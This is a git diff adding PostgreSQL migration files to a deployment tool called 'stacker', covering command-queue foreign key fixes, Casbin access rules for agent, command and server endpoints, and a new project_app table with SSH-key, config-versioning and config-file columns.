--git a/stacker/stacker/migrations/20260113000001_fix_command_queue_fk.up.sql b/stacker/stacker/migrations/20260113000001_fix_command_queue_fk.up.sql new file mode 100644 index 0000000..9dd2196 --- /dev/null +++ b/stacker/stacker/migrations/20260113000001_fix_command_queue_fk.up.sql @@ -0,0 +1,12 @@ +-- Fix foreign key in command_queue to reference commands.command_id (VARCHAR) instead of commands.id (UUID) + +-- Drop the old foreign key constraint +ALTER TABLE command_queue DROP CONSTRAINT command_queue_command_id_fkey; + +-- Change command_id column from UUID to VARCHAR(64) +ALTER TABLE command_queue ALTER COLUMN command_id TYPE VARCHAR(64); + +-- Add new foreign key constraint referencing commands.command_id instead +ALTER TABLE command_queue +ADD CONSTRAINT command_queue_command_id_fkey +FOREIGN KEY (command_id) REFERENCES commands(command_id) ON DELETE CASCADE; diff --git a/stacker/stacker/migrations/20260113000002_fix_audit_log_timestamp.down.sql b/stacker/stacker/migrations/20260113000002_fix_audit_log_timestamp.down.sql new file mode 100644 index 0000000..4fb6213 --- /dev/null +++ b/stacker/stacker/migrations/20260113000002_fix_audit_log_timestamp.down.sql @@ -0,0 +1,3 @@ +-- Revert: Fix audit_log.created_at type from TIMESTAMP to TIMESTAMPTZ + +ALTER TABLE audit_log ALTER COLUMN created_at TYPE TIMESTAMP; diff --git a/stacker/stacker/migrations/20260113000002_fix_audit_log_timestamp.up.sql b/stacker/stacker/migrations/20260113000002_fix_audit_log_timestamp.up.sql new file mode 100644 index 0000000..2372a29 --- /dev/null +++ b/stacker/stacker/migrations/20260113000002_fix_audit_log_timestamp.up.sql @@ -0,0 +1,3 @@ +-- Fix audit_log.created_at type from TIMESTAMP to TIMESTAMPTZ + +ALTER TABLE audit_log ALTER COLUMN created_at TYPE TIMESTAMPTZ; diff --git a/stacker/stacker/migrations/20260113120000_add_deployment_capabilities_acl.up.sql b/stacker/stacker/migrations/20260113120000_add_deployment_capabilities_acl.up.sql new file mode 100644 index 0000000..4481a13 --- /dev/null +++ b/stacker/stacker/migrations/20260113120000_add_deployment_capabilities_acl.up.sql @@ -0,0 +1,7 @@ +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_user', '/api/v1/deployments/:deployment_hash/capabilities', 'GET', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/api/v1/deployments/:deployment_hash/capabilities', 'GET', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260114120000_casbin_agent_enqueue_rules.down.sql b/stacker/stacker/migrations/20260114120000_casbin_agent_enqueue_rules.down.sql new file mode 100644 index 0000000..69b620a --- /dev/null +++ b/stacker/stacker/migrations/20260114120000_casbin_agent_enqueue_rules.down.sql @@ -0,0 +1,4 @@ +-- Remove Casbin ACL rules for /api/v1/agent/commands/enqueue endpoint + +DELETE FROM public.casbin_rule +WHERE ptype='p' AND v1='/api/v1/agent/commands/enqueue' AND v2='POST'; diff --git a/stacker/stacker/migrations/20260114120000_casbin_agent_enqueue_rules.up.sql b/stacker/stacker/migrations/20260114120000_casbin_agent_enqueue_rules.up.sql new file mode 100644 index 0000000..0ba4d95 --- /dev/null +++ b/stacker/stacker/migrations/20260114120000_casbin_agent_enqueue_rules.up.sql @@ -0,0 +1,14 @@ +-- Add Casbin ACL rules for /api/v1/agent/commands/enqueue endpoint +-- This endpoint allows authenticated users to enqueue commands for their deployments + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_user', '/api/v1/agent/commands/enqueue', 'POST', '', '', '') +ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/api/v1/agent/commands/enqueue', 'POST', '', '', '') +ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'client', '/api/v1/agent/commands/enqueue', 'POST', '', '', '') +ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; diff --git a/stacker/stacker/migrations/20260114160000_casbin_agent_role_fix.down.sql b/stacker/stacker/migrations/20260114160000_casbin_agent_role_fix.down.sql new file mode 100644 index 0000000..d014e70 --- /dev/null +++ b/stacker/stacker/migrations/20260114160000_casbin_agent_role_fix.down.sql @@ -0,0 +1,10 @@ +-- Rollback agent role permissions fix + +DELETE FROM public.casbin_rule +WHERE ptype = 'p' AND v0 = 'agent' AND v1 = '/api/v1/agent/commands/report' AND v2 = 'POST'; + +DELETE FROM public.casbin_rule +WHERE ptype = 'p' AND v0 = 'agent' AND v1 = '/api/v1/agent/commands/wait/:deployment_hash' AND v2 = 'GET'; + +DELETE FROM public.casbin_rule +WHERE ptype = 'g' AND v0 = 'agent' AND v1 = 'group_anonymous'; diff --git a/stacker/stacker/migrations/20260114160000_casbin_agent_role_fix.up.sql b/stacker/stacker/migrations/20260114160000_casbin_agent_role_fix.up.sql new file mode 100644 index 0000000..24aba0c --- /dev/null +++ b/stacker/stacker/migrations/20260114160000_casbin_agent_role_fix.up.sql @@ -0,0 +1,18 @@ +-- Ensure agent role has access to agent endpoints (idempotent fix) +-- This migration ensures agent role permissions are in place regardless of previous migration state +-- Addresses 403 error when Status Panel agent tries to report command results + +-- Agent role should be able to report command results +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'agent', '/api/v1/agent/commands/report', 'POST', '', '', '') +ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; + +-- Agent role should be able to poll for commands +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'agent', '/api/v1/agent/commands/wait/:deployment_hash', 'GET', '', '', '') +ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; + +-- Ensure agent role group exists (inherits from group_anonymous for health checks) +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('g', 'agent', 'group_anonymous', '', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260115120000_casbin_command_client_rules.down.sql b/stacker/stacker/migrations/20260115120000_casbin_command_client_rules.down.sql new file mode 100644 index 0000000..f29cfc1 --- /dev/null +++ b/stacker/stacker/migrations/20260115120000_casbin_command_client_rules.down.sql @@ -0,0 +1,12 @@ +-- Remove Casbin rules for command endpoints for client role + +DELETE FROM public.casbin_rule +WHERE ptype = 'p' + AND v0 = 'client' + AND v1 IN ( + '/api/v1/commands', + '/api/v1/commands/:deployment_hash', + '/api/v1/commands/:deployment_hash/:command_id', + '/api/v1/commands/:deployment_hash/:command_id/cancel' + ) + AND v2 IN ('GET', 'POST'); diff --git a/stacker/stacker/migrations/20260115120000_casbin_command_client_rules.up.sql b/stacker/stacker/migrations/20260115120000_casbin_command_client_rules.up.sql new file mode 100644 index 0000000..b9a988c --- /dev/null +++ b/stacker/stacker/migrations/20260115120000_casbin_command_client_rules.up.sql @@ -0,0 +1,14 @@ +-- Add Casbin rules for command endpoints for client role + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + ('p', 'client', '/api/v1/commands', 'GET', '', '', ''), + ('p', 'client', '/api/v1/commands/:deployment_hash', 'GET', '', '', ''), + ('p', 'client', '/api/v1/commands/:deployment_hash/:command_id', 'GET', '', '', ''), + ('p', 'client', '/api/v1/commands/:deployment_hash/:command_id/cancel', 'POST', '', '', ''), + ('p', 'group_user', '/api/v1/commands', 'GET', '', '', ''), + ('p', 'root', '/api/v1/commands', 'GET', '', '', ''), + ('p', 'root', '/api/v1/commands/:deployment_hash', 'GET', '', '', ''), + ('p', 'root', '/api/v1/commands/:deployment_hash/:command_id', 'GET', '', '', ''), + ('p', 'root', '/api/v1/commands/:deployment_hash/:command_id/cancel', 'POST', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260122120000_create_project_app_table.down.sql b/stacker/stacker/migrations/20260122120000_create_project_app_table.down.sql new file mode 100644 index 0000000..025e0cb --- /dev/null +++ b/stacker/stacker/migrations/20260122120000_create_project_app_table.down.sql @@ -0,0 +1,8 @@ +-- Drop project_app table and related objects + +DROP TRIGGER IF EXISTS project_app_updated_at_trigger ON project_app; +DROP FUNCTION IF EXISTS update_project_app_updated_at(); +DROP INDEX IF EXISTS idx_project_app_deploy_order; +DROP INDEX IF EXISTS idx_project_app_code; +DROP INDEX IF EXISTS idx_project_app_project_id; +DROP TABLE IF EXISTS project_app; diff --git a/stacker/stacker/migrations/20260122120000_create_project_app_table.up.sql b/stacker/stacker/migrations/20260122120000_create_project_app_table.up.sql new file mode 100644 index 0000000..3199854 --- /dev/null +++ b/stacker/stacker/migrations/20260122120000_create_project_app_table.up.sql @@ -0,0 +1,59 @@ +-- Create project_app table for storing app configurations +-- Each project can have multiple apps with their own configuration + +CREATE TABLE IF NOT EXISTS project_app ( + id SERIAL PRIMARY KEY, + project_id INTEGER NOT NULL REFERENCES project(id) ON DELETE CASCADE, + code VARCHAR(100) NOT NULL, + name VARCHAR(255) NOT NULL, + image VARCHAR(500) NOT NULL, + environment JSONB DEFAULT '{}'::jsonb, + ports JSONB DEFAULT '[]'::jsonb, + volumes JSONB DEFAULT '[]'::jsonb, + domain VARCHAR(255), + ssl_enabled BOOLEAN DEFAULT FALSE, + resources JSONB DEFAULT '{}'::jsonb, + restart_policy VARCHAR(50) DEFAULT 'unless-stopped', + command TEXT, + entrypoint TEXT, + networks JSONB DEFAULT '[]'::jsonb, + depends_on JSONB DEFAULT '[]'::jsonb, + healthcheck JSONB, + labels JSONB DEFAULT '{}'::jsonb, + enabled BOOLEAN DEFAULT TRUE, + deploy_order INTEGER, + created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(), + updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW(), + CONSTRAINT unique_project_app_code UNIQUE (project_id, code) +); + +-- Index for fast lookup by project +CREATE INDEX IF NOT EXISTS idx_project_app_project_id ON project_app(project_id); + +-- Index for code lookup +CREATE INDEX IF NOT EXISTS idx_project_app_code ON project_app(code); + +-- Index for deploy order +CREATE INDEX IF NOT EXISTS idx_project_app_deploy_order ON project_app(project_id, deploy_order); + +-- Trigger to update updated_at on changes +CREATE OR REPLACE FUNCTION update_project_app_updated_at() +RETURNS TRIGGER AS $$ +BEGIN + NEW.updated_at = NOW(); + RETURN NEW; +END; +$$ LANGUAGE plpgsql; + +DROP TRIGGER IF EXISTS project_app_updated_at_trigger ON project_app; +CREATE TRIGGER project_app_updated_at_trigger + BEFORE UPDATE ON project_app + FOR EACH ROW + EXECUTE FUNCTION update_project_app_updated_at(); + +-- Add comment for documentation +COMMENT ON TABLE project_app IS 'App configurations within projects. Each app is a container with its own env vars, ports, volumes, etc.'; +COMMENT ON COLUMN project_app.code IS 'Unique identifier within project (e.g., nginx, postgres, redis)'; +COMMENT ON COLUMN project_app.environment IS 'Environment variables as JSON object {"VAR": "value"}'; +COMMENT ON COLUMN project_app.ports IS 'Port mappings as JSON array [{"host": 80, "container": 80, "protocol": "tcp"}]'; +COMMENT ON COLUMN project_app.deploy_order IS 'Order in which apps are deployed (lower = first)'; diff --git a/stacker/stacker/migrations/20260123120000_server_selection_columns.down.sql b/stacker/stacker/migrations/20260123120000_server_selection_columns.down.sql new file mode 100644 index 0000000..433fb17 --- /dev/null +++ b/stacker/stacker/migrations/20260123120000_server_selection_columns.down.sql @@ -0,0 +1,6 @@ +-- Remove server selection columns + +ALTER TABLE server DROP COLUMN IF EXISTS name; +ALTER TABLE server DROP COLUMN IF EXISTS key_status; +ALTER TABLE server DROP COLUMN IF EXISTS connection_mode; +ALTER TABLE server DROP COLUMN IF EXISTS vault_key_path; diff --git a/stacker/stacker/migrations/20260123120000_server_selection_columns.up.sql b/stacker/stacker/migrations/20260123120000_server_selection_columns.up.sql new file mode 100644 index 0000000..8e8b9c1 --- /dev/null +++ b/stacker/stacker/migrations/20260123120000_server_selection_columns.up.sql @@ -0,0 +1,13 @@ +-- Add server selection columns for SSH key management via Vault + +-- Path to SSH key stored in Vault (e.g., secret/data/users/{user_id}/ssh_keys/{server_id}) +ALTER TABLE server ADD COLUMN vault_key_path VARCHAR(255) DEFAULT NULL; + +-- Connection mode: 'ssh' (maintain SSH access) or 'status_panel' (disconnect SSH after install) +ALTER TABLE server ADD COLUMN connection_mode VARCHAR(20) NOT NULL DEFAULT 'ssh'; + +-- Key status: 'none' (no key), 'stored' (key in Vault), 'disconnected' (key removed) +ALTER TABLE server ADD COLUMN key_status VARCHAR(20) NOT NULL DEFAULT 'none'; + +-- Friendly display name for the server +ALTER TABLE server ADD COLUMN name VARCHAR(100) DEFAULT NULL; diff --git a/stacker/stacker/migrations/20260123140000_casbin_server_rules.down.sql b/stacker/stacker/migrations/20260123140000_casbin_server_rules.down.sql new file mode 100644 index 0000000..f4a79c8 --- /dev/null +++ b/stacker/stacker/migrations/20260123140000_casbin_server_rules.down.sql @@ -0,0 +1,5 @@ +-- Remove Casbin rules for server endpoints + +DELETE FROM public.casbin_rule +WHERE v1 LIKE '/server%' + AND v0 IN ('group_user', 'root'); diff --git a/stacker/stacker/migrations/20260123140000_casbin_server_rules.up.sql b/stacker/stacker/migrations/20260123140000_casbin_server_rules.up.sql new file mode 100644 index 0000000..c3783d1 --- /dev/null +++ b/stacker/stacker/migrations/20260123140000_casbin_server_rules.up.sql @@ -0,0 +1,27 @@ +-- Add Casbin rules for server endpoints + +-- Server list and get endpoints (group_user role - authenticated users) +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + -- Server list and get + ('p', 'group_user', '/server', 'GET', '', '', ''), + ('p', 'group_user', '/server/:id', 'GET', '', '', ''), + ('p', 'group_user', '/server/project/:project_id', 'GET', '', '', ''), + ('p', 'group_user', '/server/:id', 'PUT', '', '', ''), + ('p', 'group_user', '/server/:id', 'DELETE', '', '', ''), + -- SSH key management + ('p', 'group_user', '/server/:id/ssh-key/generate', 'POST', '', '', ''), + ('p', 'group_user', '/server/:id/ssh-key/upload', 'POST', '', '', ''), + ('p', 'group_user', '/server/:id/ssh-key/public', 'GET', '', '', ''), + ('p', 'group_user', '/server/:id/ssh-key', 'DELETE', '', '', ''), + -- Root role (admin access) + ('p', 'root', '/server', 'GET', '', '', ''), + ('p', 'root', '/server/:id', 'GET', '', '', ''), + ('p', 'root', '/server/project/:project_id', 'GET', '', '', ''), + ('p', 'root', '/server/:id', 'PUT', '', '', ''), + ('p', 'root', '/server/:id', 'DELETE', '', '', ''), + ('p', 'root', '/server/:id/ssh-key/generate', 'POST', '', '', ''), + ('p', 'root', '/server/:id/ssh-key/upload', 'POST', '', '', ''), + ('p', 'root', '/server/:id/ssh-key/public', 'GET', '', '', ''), + ('p', 'root', '/server/:id/ssh-key', 'DELETE', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260128120000_insert_casbin_rule_agent_deployments_get.up.sql b/stacker/stacker/migrations/20260128120000_insert_casbin_rule_agent_deployments_get.up.sql new file mode 100644 index 0000000..a884ab9 --- /dev/null +++ b/stacker/stacker/migrations/20260128120000_insert_casbin_rule_agent_deployments_get.up.sql @@ -0,0 +1,19 @@ +-- Migration: Insert casbin_rule permissions for agent deployments GET + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + -- Server list and get + ('p', 'group_user', '/api/v1/agent/deployments/*', 'GET', '', '', ''), + ('p', 'agent', '/api/v1/agent/deployments/*', 'GET', '', '', ''), + ('p', 'group_admin', '/api/v1/agent/deployments/*', 'GET', '', '', ''), + ('p', 'root', '/api/v1/agent/deployments/*', 'GET', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + -- Server list and get + ('p', 'group_user', '/api/v1/commands/*', 'GET', '', '', ''), + ('p', 'agent', '/api/v1/commands/*', 'GET', '', '', ''), + ('p', 'group_admin', '/api/v1/commands/*', 'GET', '', '', ''), + ('p', 'root', '/api/v1/commands/*', 'GET', '', '', '') +ON CONFLICT DO NOTHING; \ No newline at end of file diff --git a/stacker/stacker/migrations/20260129120000_add_config_versioning.down.sql b/stacker/stacker/migrations/20260129120000_add_config_versioning.down.sql new file mode 100644 index 0000000..b30a796 --- /dev/null +++ b/stacker/stacker/migrations/20260129120000_add_config_versioning.down.sql @@ -0,0 +1,8 @@ +-- Remove config versioning columns from project_app table + +DROP INDEX IF EXISTS idx_project_app_config_version; + +ALTER TABLE project_app DROP COLUMN IF EXISTS config_hash; +ALTER TABLE project_app DROP COLUMN IF EXISTS vault_sync_version; +ALTER TABLE project_app DROP COLUMN IF EXISTS vault_synced_at; +ALTER TABLE project_app DROP COLUMN IF EXISTS config_version; diff --git a/stacker/stacker/migrations/20260129120000_add_config_versioning.up.sql b/stacker/stacker/migrations/20260129120000_add_config_versioning.up.sql new file mode 100644 index 0000000..27ed79c --- /dev/null +++ b/stacker/stacker/migrations/20260129120000_add_config_versioning.up.sql @@ -0,0 +1,16 @@ +-- Add config versioning columns to project_app table +-- This enables tracking of configuration changes and Vault sync status + +ALTER TABLE project_app ADD COLUMN IF NOT EXISTS config_version INTEGER NOT NULL DEFAULT 1; +ALTER TABLE project_app ADD COLUMN IF NOT EXISTS vault_synced_at TIMESTAMPTZ; +ALTER TABLE project_app ADD COLUMN IF NOT EXISTS vault_sync_version INTEGER; +ALTER TABLE project_app ADD COLUMN IF NOT EXISTS config_hash VARCHAR(64); + +-- Add index for quick config version lookups +CREATE INDEX IF NOT EXISTS idx_project_app_config_version ON project_app(project_id, config_version); + +-- Comment on new columns +COMMENT ON COLUMN project_app.config_version IS 'Incrementing version number for config changes'; +COMMENT ON COLUMN project_app.vault_synced_at IS 'Last time config was synced to Vault'; +COMMENT ON COLUMN project_app.vault_sync_version IS 'Config version that was last synced to Vault'; +COMMENT ON COLUMN project_app.config_hash IS 'SHA256 hash of rendered config for drift detection'; diff --git a/stacker/stacker/migrations/20260129150000_add_config_files_to_project_app.down.sql b/stacker/stacker/migrations/20260129150000_add_config_files_to_project_app.down.sql new file mode 100644 index 0000000..3b0b291 --- /dev/null +++ b/stacker/stacker/migrations/20260129150000_add_config_files_to_project_app.down.sql @@ -0,0 +1,4 @@ +-- Rollback config_files additions + +ALTER TABLE project_app DROP COLUMN IF EXISTS config_files; +ALTER TABLE project_app DROP COLUMN IF EXISTS template_source; diff --git a/stacker/stacker/migrations/20260129150000_add_config_files_to_project_app.up.sql b/stacker/stacker/migrations/20260129150000_add_config_files_to_project_app.up.sql new file mode 100644 index 0000000..38c3318 --- /dev/null +++ b/stacker/stacker/migrations/20260129150000_add_config_files_to_project_app.up.sql @@ -0,0 +1,26 @@ +-- Add config_files column to project_app for template configuration files +-- This stores config file templates (like telegraf.conf, nginx.conf) that need rendering + +ALTER TABLE project_app ADD COLUMN IF NOT EXISTS config_files JSONB DEFAULT '[]'::jsonb; + +-- Example structure: +-- [ +-- { +-- "name": "telegraf.conf", +-- "path": "/etc/telegraf/telegraf.conf", +-- "content": "# Telegraf config\n[agent]\ninterval = \"{{ interval }}\"\n...", +-- "template_type": "jinja2", +-- "variables": { +-- "interval": "10s", +-- "flush_interval": "10s", +-- "influx_url": "http://influxdb:8086" +-- } +-- } +-- ] + +COMMENT ON COLUMN project_app.config_files IS 'Configuration file templates as JSON array. Each entry has name, path, content (template), template_type (jinja2/tera), and variables object'; + +-- Also add a template_source field to reference external templates from stacks repo +ALTER TABLE project_app ADD COLUMN IF NOT EXISTS template_source VARCHAR(500); + +COMMENT ON COLUMN project_app.template_source IS 'Reference to external template source (e.g., tfa/roles/telegraf/templates/telegraf.conf.j2)'; diff --git a/stacker/stacker/migrations/20260130120000_add_config_files_to_project_app.down.sql b/stacker/stacker/migrations/20260130120000_add_config_files_to_project_app.down.sql new file mode 100644 index 0000000..daa6c3c --- /dev/null +++ b/stacker/stacker/migrations/20260130120000_add_config_files_to_project_app.down.sql @@ -0,0 +1,4 @@ +-- Rollback: remove config_files column from project_app + +ALTER TABLE project_app +DROP COLUMN IF EXISTS config_files; diff --git a/stacker/stacker/migrations/20260130120000_add_config_files_to_project_app.up.sql b/stacker/stacker/migrations/20260130120000_add_config_files_to_project_app.up.sql new file mode 100644 index 0000000..2f7f1a8 --- /dev/null +++ b/stacker/stacker/migrations/20260130120000_add_config_files_to_project_app.up.sql @@ -0,0 +1,26 @@ +-- Add config_files column to project_app for storing configuration file templates +-- This supports apps like Telegraf that require config files beyond env vars + +-- Add config_files column +ALTER TABLE project_app +ADD COLUMN IF NOT EXISTS config_files JSONB DEFAULT '[]'::jsonb; + +-- Add comment for documentation +COMMENT ON COLUMN project_app.config_files IS 'Configuration file templates as JSON array [{"filename": "telegraf.conf", "path": "/etc/telegraf/telegraf.conf", "content": "template content...", "is_template": true}]'; + +-- Example structure: +-- [ +-- { +-- "filename": "telegraf.conf", +-- "path": "/etc/telegraf/telegraf.conf", +-- "content": "[agent]\n interval = \"{{ interval | default(\"10s\") }}\"\n...", +-- "is_template": true, +-- "description": "Telegraf agent configuration" +-- }, +-- { +-- "filename": "custom.conf", +-- "path": "/etc/myapp/custom.conf", +-- "content": "static content...", +-- "is_template": false +-- } +-- ] diff --git a/stacker/stacker/migrations/20260131120000_casbin_commands_post_rules.down.sql b/stacker/stacker/migrations/20260131120000_casbin_commands_post_rules.down.sql new file mode 100644 index 0000000..55f4fcb --- /dev/null +++ b/stacker/stacker/migrations/20260131120000_casbin_commands_post_rules.down.sql @@ -0,0 +1,26 @@ +-- Remove Casbin POST rules for commands API + +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'group_user' AND v1 = '/api/v1/commands/*' AND v2 = 'POST'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'agent' AND v1 = '/api/v1/commands/*' AND v2 = 'POST'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'group_admin' AND v1 = '/api/v1/commands/*' AND v2 = 'POST'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'root' AND v1 = '/api/v1/commands/*' AND v2 = 'POST'; + +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'group_user' AND v1 = '/api/v1/commands/*' AND v2 = 'PUT'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'agent' AND v1 = '/api/v1/commands/*' AND v2 = 'PUT'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'group_admin' AND v1 = '/api/v1/commands/*' AND v2 = 'PUT'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'root' AND v1 = '/api/v1/commands/*' AND v2 = 'PUT'; + +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'group_user' AND v1 = '/api/v1/commands/*' AND v2 = 'DELETE'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'agent' AND v1 = '/api/v1/commands/*' AND v2 = 'DELETE'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'group_admin' AND v1 = '/api/v1/commands/*' AND v2 = 'DELETE'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'root' AND v1 = '/api/v1/commands/*' AND v2 = 'DELETE'; + +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'group_user' AND v1 = '/api/v1/commands' AND v2 = 'POST'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'agent' AND v1 = '/api/v1/commands' AND v2 = 'POST'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'group_admin' AND v1 = '/api/v1/commands' AND v2 = 'POST'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'root' AND v1 = '/api/v1/commands' AND v2 = 'POST'; + +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'group_user' AND v1 = '/api/v1/commands' AND v2 = 'PUT'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'agent' AND v1 = '/api/v1/commands' AND v2 = 'PUT'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'group_admin' AND v1 = '/api/v1/commands' AND v2 = 'PUT'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'root' AND v1 = '/api/v1/commands' AND v2 = 'PUT'; diff --git a/stacker/stacker/migrations/20260131120000_casbin_commands_post_rules.up.sql b/stacker/stacker/migrations/20260131120000_casbin_commands_post_rules.up.sql new file mode 100644 index 0000000..26a9eb4 --- /dev/null +++ b/stacker/stacker/migrations/20260131120000_casbin_commands_post_rules.up.sql @@ -0,0 +1,47 @@ +-- Add Casbin POST rules for commands API + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + -- Commands POST access + ('p', 'group_user', '/api/v1/commands/*', 'POST', '', '', ''), + ('p', 'agent', '/api/v1/commands/*', 'POST', '', '', ''), + ('p', 'group_admin', '/api/v1/commands/*', 'POST', '', '', ''), + ('p', 'root', '/api/v1/commands/*', 'POST', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + -- Server list and get + ('p', 'group_user', '/api/v1/commands/*', 'PUT', '', '', ''), + ('p', 'agent', '/api/v1/commands/*', 'PUT', '', '', ''), + ('p', 'group_admin', '/api/v1/commands/*', 'PUT', '', '', ''), + ('p', 'root', '/api/v1/commands/*', 'PUT', '', '', '') +ON CONFLICT DO NOTHING; +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + -- Server list and get + ('p', 'group_user', '/api/v1/commands/*', 'DELETE', '', '', ''), + ('p', 'agent', '/api/v1/commands/*', 'DELETE', '', '', ''), + ('p', 'group_admin', '/api/v1/commands/*', 'DELETE', '', '', ''), + ('p', 'root', '/api/v1/commands/*', 'DELETE', '', '', '') +ON CONFLICT DO NOTHING; + + + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + -- Server list and get + ('p', 'group_user', '/api/v1/commands', 'POST', '', '', ''), + ('p', 'agent', '/api/v1/commands', 'POST', '', '', ''), + ('p', 'group_admin', '/api/v1/commands', 'POST', '', '', ''), + ('p', 'root', '/api/v1/commands', 'POST', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + -- Server list and get + ('p', 'group_user', '/api/v1/commands', 'PUT', '', '', ''), + ('p', 'agent', '/api/v1/commands', 'PUT', '', '', ''), + ('p', 'group_admin', '/api/v1/commands', 'PUT', '', '', ''), + ('p', 'root', '/api/v1/commands', 'PUT', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260131121000_casbin_apps_status_rules.down.sql b/stacker/stacker/migrations/20260131121000_casbin_apps_status_rules.down.sql new file mode 100644 index 0000000..c1a54f5 --- /dev/null +++ b/stacker/stacker/migrations/20260131121000_casbin_apps_status_rules.down.sql @@ -0,0 +1,5 @@ +-- Remove Casbin POST rule for app status updates reported by agents + +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'agent' AND v1 = '/api/v1/apps/status' AND v2 = 'POST'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'group_admin' AND v1 = '/api/v1/apps/status' AND v2 = 'POST'; +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'root' AND v1 = '/api/v1/apps/status' AND v2 = 'POST'; diff --git a/stacker/stacker/migrations/20260131121000_casbin_apps_status_rules.up.sql b/stacker/stacker/migrations/20260131121000_casbin_apps_status_rules.up.sql new file mode 100644 index 0000000..fcd1934 --- /dev/null +++ b/stacker/stacker/migrations/20260131121000_casbin_apps_status_rules.up.sql @@ -0,0 +1,8 @@ +-- Add Casbin POST rule for app status updates reported by agents + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + ('p', 'agent', '/api/v1/apps/status', 'POST', '', '', ''), + ('p', 'group_admin', '/api/v1/apps/status', 'POST', '', '', ''), + ('p', 'root', '/api/v1/apps/status', 'POST', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260202120000_add_parent_app_code.down.sql b/stacker/stacker/migrations/20260202120000_add_parent_app_code.down.sql new file mode 100644 index 0000000..967f1e5 --- /dev/null +++ b/stacker/stacker/migrations/20260202120000_add_parent_app_code.down.sql @@ -0,0 +1,4 @@ +-- Rollback: Remove parent_app_code column from project_app + +DROP INDEX IF EXISTS idx_project_app_parent; +ALTER TABLE project_app DROP COLUMN IF EXISTS parent_app_code; diff --git a/stacker/stacker/migrations/20260202120000_add_parent_app_code.up.sql b/stacker/stacker/migrations/20260202120000_add_parent_app_code.up.sql new file mode 100644 index 0000000..67b3a97 --- /dev/null +++ b/stacker/stacker/migrations/20260202120000_add_parent_app_code.up.sql @@ -0,0 +1,11 @@ +-- Add parent_app_code column to project_app for hierarchical service linking +-- This allows multi-service compose stacks (e.g., Komodo with core, ferretdb, periphery) +-- to link child services back to the parent stack + +ALTER TABLE project_app ADD COLUMN IF NOT EXISTS parent_app_code VARCHAR(255) DEFAULT NULL; + +-- Create index for efficient queries on parent apps +CREATE INDEX IF NOT EXISTS idx_project_app_parent ON project_app(project_id, parent_app_code) WHERE parent_app_code IS NOT NULL; + +-- Add comment for documentation +COMMENT ON COLUMN project_app.parent_app_code IS 'Parent app code for child services in multi-service 